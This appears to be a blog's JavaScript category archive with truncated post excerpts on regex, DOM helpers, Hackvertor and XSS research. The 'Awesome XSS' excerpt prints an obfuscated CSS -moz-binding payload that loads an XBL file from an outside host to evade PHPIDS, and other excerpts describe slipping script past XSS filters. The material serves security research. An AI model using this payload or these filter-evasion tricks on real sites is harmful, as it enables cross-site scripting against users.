Category Archives: javascript

Javascript regular expressions

Ronald and I had a good conversation about Javascript regular expressions comparing them to PHP. He was having difficultly with the syntax because he was used to preg in PHP so I promised to share my knowledge gained from developing various online scripts.
First up preg_match in PHP can be achieved using the match function in [...]

Code morphing

I’ve been working on a small project with the eventual goal of producing random morphing javascript. It’s still early stages at the moment but I’d thought I’d release it now because then I might get some motivation to improve it. I plan to add this functionality into Hackvertor as well as Spambam in future.
At the [...]

DOM Da DOM

I’ve seen many javascript libraries on the internet like Scriptaclous and JQuery which are superb at what they do but…I wanted a nice easy reference to the DOM functions and shortcuts. So I decided to build a little helper application which will allow you to quickly lookup the required function. The code is pretty basic [...]

Valid Javascript variables

I’ve put together a simple script which will use the Javascript parser to find a list of valid variables. This information is useful to know when testing XSS filters or malicious javascript detection. Using these unusual variables I’ve manged to slip Javascript passed some very clever filters including the PHPIDS and Noscript.
Check it out [...]

DOM for hackers

It’s amazing the stuff I’ve been finding recently, my browser has crashed more times than windoze. In this article I’ll introduce you to using the DOM for unexpected things and hacking it to your advantage. I’ve learned all this new stuff while hacking a vectors for the slackers XSS contest which is really fun.
Contents [...]

Self replicating source

I’ve been having a lot of fun with the sla.ckers XSS replication contest and I found a cool way to replicate source code of the html document which I haven’t seen anywhere before. Check it out:-

alert(document.body.parentNode.innerHTML)

This alerts the entire HTML document in Firefox (hopefully IE7 as well). Which is pretty cool
Here is my [...]

Javascript for hackers part 2

In my second part of Javascript for hackers I shall be showing how pointless it is to ban the use of document, location etc within form variables.
You can create some truly amazing strings which are unreadable to the human eye, many more vectors are available on the sla.ckers thread I created but I’ll show [...]

Hackvertor update & feature requests

New update
I’ve updated Hackvertor again, which allows HMAC hashing, SHA2 hashing support, new line removal and javascript evaluation within tags. A good example of the new features would be the following input:-

<@sha2><@js2str>str=’hello’;for(i=0;i<10;i++) str += ‘o’<@/js2str><@/sha2>

The above creates the string “hellooooooooooo” in javascript and hashes the result with sha2.
I’ve started work on a formatcode tag which [...]

Awesome XSS

Hacking the PHPIDS again I found some cool XSS:-

<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business
\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>

I’ve moved it onto two lines for correct display.
Who’d have thought that Firefox would allow all that within the url and CSS properties

Tag inspector

I’ve been trying to automate the stuff that I normally do when XSS testing to make it easier than writing custom scripts each time. This worked really well for my fuzzing script which fuzzed random characters embedded into tags to find unusual combinations of characters. I’ve done the same again but this time it inspects [...]